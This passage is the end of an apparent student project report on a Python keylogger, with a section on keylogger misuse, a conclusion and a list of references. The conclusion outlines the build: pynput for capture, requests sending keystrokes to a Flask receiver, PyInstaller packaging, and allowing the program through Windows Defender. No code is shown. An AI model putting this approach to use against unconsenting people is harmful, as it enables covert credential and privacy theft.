Parental control:- software can also cross ethical lines when it includes keylogger functionality.
While parents might use such tools to monitor their children's online activities for safety reasons,
overuse or misuse can infringe on the child's privacy and autonomy, potentially straining the
parent-child relationship.

Illegal surveillance activities, when conducted without proper oversight or consent, can also lead
to the misuse of keyloggers. Law enforcement or other agencies might use keyloggers for
investigative purposes, but without strict regulations and oversight, this can lead to privacy
violations and abuse of power.

In public and shared computers, keyloggers can be misused to capture information from
unsuspecting users. Public terminals in libraries, internet cafes, or other communal spaces can be
targeted to collect data from a wide range of individuals, making this a significant concern for
privacy and security.

The misuse of keyloggers not only undermines trust and privacy but also has legal and ethical
implications. The deployment of keyloggers without proper authorization or for malicious purposes
constitutes a breach of privacy and is subject to legal penalties. Awareness and understanding of
these misuses are essential for individuals and organizations to protect themselves and ensure
that keyloggers are used responsibly and ethically.

55
Conclusion:-
In this project we made a keylogger in python where we used pynput to capture keystrokes,
requests to fetch keystrokes and we used flask to make receiver. After that we used wine and
playonlinux to create windows environment in windows. Then we installed pyinstaller in windows
environment. With the help of pyinstaller we compiled our .py file into an .exe file. Then we used
our keylogger in windows machine. We allowed our keylogger in Windows defender. And captured
keystrokes easely. We can use this keylogger as a monitoring tool.

56
References:-
• https://www.fortinet.com/resources/cyberglossary/what-is-
keyloggers#:~:text=Definition%20of%20Keyloggers,%2Dcontrol%20(C%26C)%20server.

• https://www.techtarget.com/searchsecurity/definition/keylogger

• https://www.malwarebytes.com/keylogger
• https://www.kaspersky.com/resource-center/definitions/keylogger
• https://en.wikipedia.org/wiki/Keystroke_logging
• https://pypi.org/project/pynput/
• https://pynput.readthedocs.io/
• https://github.com/moses-palmer/pynput
• https://pynput.readthedocs.io/en/latest/keyboard.html
• https://www.geeksforgeeks.org/how-to-use-pynput-to-make-a-keylogger/
• https://pypi.org/project/requests/
• https://www.w3schools.com/python/module_requests.asp
• https://realpython.com/python-requests/
• https://requests.readthedocs.io/
• https://www.geeksforgeeks.org/python-requests-tutorial/
• https://www.pyinstaller.org/
• https://pypi.org/project/pyinstaller/
• https://realpython.com/pyinstaller-python/
•

57